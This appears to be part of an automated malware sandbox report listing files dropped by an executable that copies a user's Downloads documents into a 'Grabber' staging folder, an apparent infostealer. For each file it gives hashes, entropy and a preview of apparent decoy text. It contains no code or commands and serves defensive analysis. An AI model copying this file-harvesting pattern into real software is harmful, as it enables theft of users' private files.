C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\JDDHMPCDUJ.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687055908915499
Encrypted:	false
SSDEEP:	24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
MD5:	94EDB575C55407C555A3F710DF2A8CB3
SHA1:	3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
SHA-256:	DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
SHA-512:	F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
Malicious:	false
Preview:	JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\JDDHMPCDUJ.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687055908915499
Encrypted:	false
SSDEEP:	24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
MD5:	94EDB575C55407C555A3F710DF2A8CB3
SHA1:	3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
SHA-256:	DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
SHA-512:	F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
Malicious:	false
Preview:	JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\KLIZUSIQEN.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696703751818505
Encrypted:	false
SSDEEP:	24:b16WkAmEUwq/rBFGdG3NQGsu7DYh3NTgfAtxoLxLP/VEmcM:hkAYzzbG4NPsuYh3N0fAjaxLnl
MD5:	19255ED5D4F37A096C105CEF82D0F5C0
SHA1:	96C5E995A91C8BC479E1C2ADB32C7E022EB8FAC7
SHA-256:	A0E9C6A5B14DB7AB22994C5017930720299F4492CE99D95A07BEB46BF2BAE7E8
SHA-512:	CDCD7E54677DE3BCE65BD80C855DE9684517F931ECA4D17E984C1D02E5E5CE9B50582ECCFA43F71A4F0A4E1743D74FCF3D588424AF519BFAE628EA49082C6E68
Malicious:	false
Preview:	KLIZUSIQENZWQAFPHPIZMRSSYSYIINGOAPFQHPCFTPTNYLSNMTRTDZSWEBKDRHIUFOFGWKTHENHAQWTYTMOJNOWPWJAPIZKOPDMUAKVTHXYWDBHBVWDTBCFVXJHDCUGTPASHSDSKUVYPRPPUXKURDNZYJENQKRHCARIUAOIAFRFWGQDXOAPXUJAUWRVEASXCVARWJMIPINSQDPGOWLRMNRCAEZGZIYDWBEWCOJWHLMOUROGZKCFGXDKPHAJADQCYUZYSYXQOIEGZIJWZLUJEKZUASKHQOGVFGVEXIQTENJDEKERNBPZGKNXWYZVXDDAYNSFBZAKWCEEYDSJONDKOYOBSAVICMHPZZRHRLNYDOIDQNYLXFDCCUOIJANPQCOIJDXFLDMIBVHBYSNYGAVWTHYCIPBRPTWSQXWXZZJBFNAUOMALKDRYIMJCRJXXQXCEREPQGNQHHOFEMEOXMSZEWOLTOLCOUCQNPRIPXUSVZNATFZKIJQZKGKTCYOMBXFTSXBXYIHMOONWWGRKPSNEMONASEFSVWNWIBXDSMEKQJIDCFPVMGAAUPBVOYAIKYQEFVSXOFTEMHNXVNMMENORLDYPZUSILNZRPHITCWDQMLEFZOEGPJDXQLBSIYRONLBYOSJVTEMBHNVXCMMRDVOAYSMNNRKRLBSQBIWIWHYUMBKTIYQTROZKTGZZMEFWINSQAXMWWLRRSPXAQZURXOTMUHPNLOUWMXRQSGXIAQILQCZUUTRJZVRNLBSHADNHZSDOQIYIZCEZHFRITTHSZOSBZGNCQVHXSFZJCEVSJCZZYTCFXLNBKMTPXYHPDXMMMXHUAAQWYYFHMKXWZBXZBWKFQHLPMVMGYFZBMVSYGKGTOLLJCBFKHHWFIVPPXPTVEJEBZBXHKNYKDYLIAKLLPJZFPVJAROJUOZZUWNZRRDZNYLGBHMNWUKJLSAXBUBWJZYCMVLYBCQJLBOROBDSZGHMCIASVUCVNDTGDALKYLTOMJK

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\PALRGUCVEH.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\PALRGUCVEH.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\ZGGKNSUKOP.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\ZGGKNSUKOP.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\ZGGKNSUKOP.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\ZIPXYXWIOY.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697427014915338
Encrypted:	false
SSDEEP:	24:J87vGcgdreYqco0NFLg5eIatTFj9qVUq2Z:J83gAYq8NFRtx7Z
MD5:	2D7ACA56B5F340F28DD1D2B46D700BA6
SHA1:	3966684FF029665614B8DC948349178FB9E8C078
SHA-256:	B227E5E45D28AC063349BC70CC01A3F6DB15C101432A8609E0202064F7E5936D
SHA-512:	D4BFC2BB839DAEBAE8C894A0B8EB2314D2BE0304C82EB89BE16D6C820874952534CE0D93AE62EEF3DD2BE8A4D1E828B883E50BD204D04624AB945119D2FAB4F0
Malicious:	false
Preview:	ZIPXYXWIOYFFJDUIEBFLHIUBYNNMJGYPFQONGOLQHGMFRFYQGSVGNDSCQJYWDCIKWJWNYHFUEMJVEPAFIPAROVFAVARCOHESRJKUIUYDXNZOERBEQGHQNKYMVMEEMKKKEYXXPAKWYGCIXNFSVDOOEUTNGSDXMYEZKQTRDCZXZXIFSRMNAEPZWJKKYULUPGZCQORNOJBGAAOPLYNJCPFWSASJWTLALTQZLWOGFWQVOXGYBCMNEBDESHLNZZBETDIGNLTNPZEPEQAMYCNYWEKKQKDVZPNYLWAFZIPSSVNHOPUMIBTFXVVCNCPUSOKETVBDNZLCRKBRLGSHFSQLECHUOWGFFEMDWHASNSMAXKZZMDLZVQLADFBDUCCIJERQXKRXUCTKGDGKPESHHXUPKZSGNKOITMVITFCBELJVTCKENQCMCJEDZJDQDSKAYFGQEYICXDUOIJRYIMVXRKNBYXQEHUHYSPGEDSJBOQNXHFTSSRTPOXDVFXEPQUGWNEAKZJOKYPEYKXMOMKTKOBVISHMUGELPJCXBYNEXOAWOXHSEELVSCFMZYAMOLTGIWURMTZTRNGMWQZBRQHAIXVJIAFPZGWJZIOQLOAXJSGKMZNZCAVJWFGUFMQWQICMPVNAYRUHAMQLWLJMBERSFPEZHMNVAZFQAJEGYJQOMQWFTQVXZYTDPYVGZZPSNSOJWWKZDRPZKGTXYSENWOIQFXDIRWPJEYALOOEYQPHOPKSIZFNHPOXOKSTDVPNBSCDDKPOUVXMFBUNBMEUYGOSYMHMUNKKADTAEIUEMXYPOPMUVBHTBVKYAHHJXFUJPFZJZARAFLARBIWKXMNKXJLVBLJSZYYVIBZHROONQENYZGGMMETTMOFHCCQNUHPDEUTVVGUDBCKVXVUMRWPGZIPPUXJEJQIEQWLBUQBUODMWPSBFOYIQZWMYWPHWSKTRCKCRXWZUOTDTDRLLUSSQZXZZEATFSHBUWQUYHDLRMVVWFCPAZNSBXA

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.5191090305155277
Encrypted:	false
SSDEEP:	6:QyqRsioTA5wmHOlRaQmZWGokJqAMhAlt4DAlLwkAl2FlRaQmZWGokJISlVl9:QZsiL5wmHOlDmo0qmt4clLwr2FlDmo0d
MD5:	3A37312509712D4E12D27240137FF377
SHA1:	30CED927E23B584725CF16351394175A6D2A9577
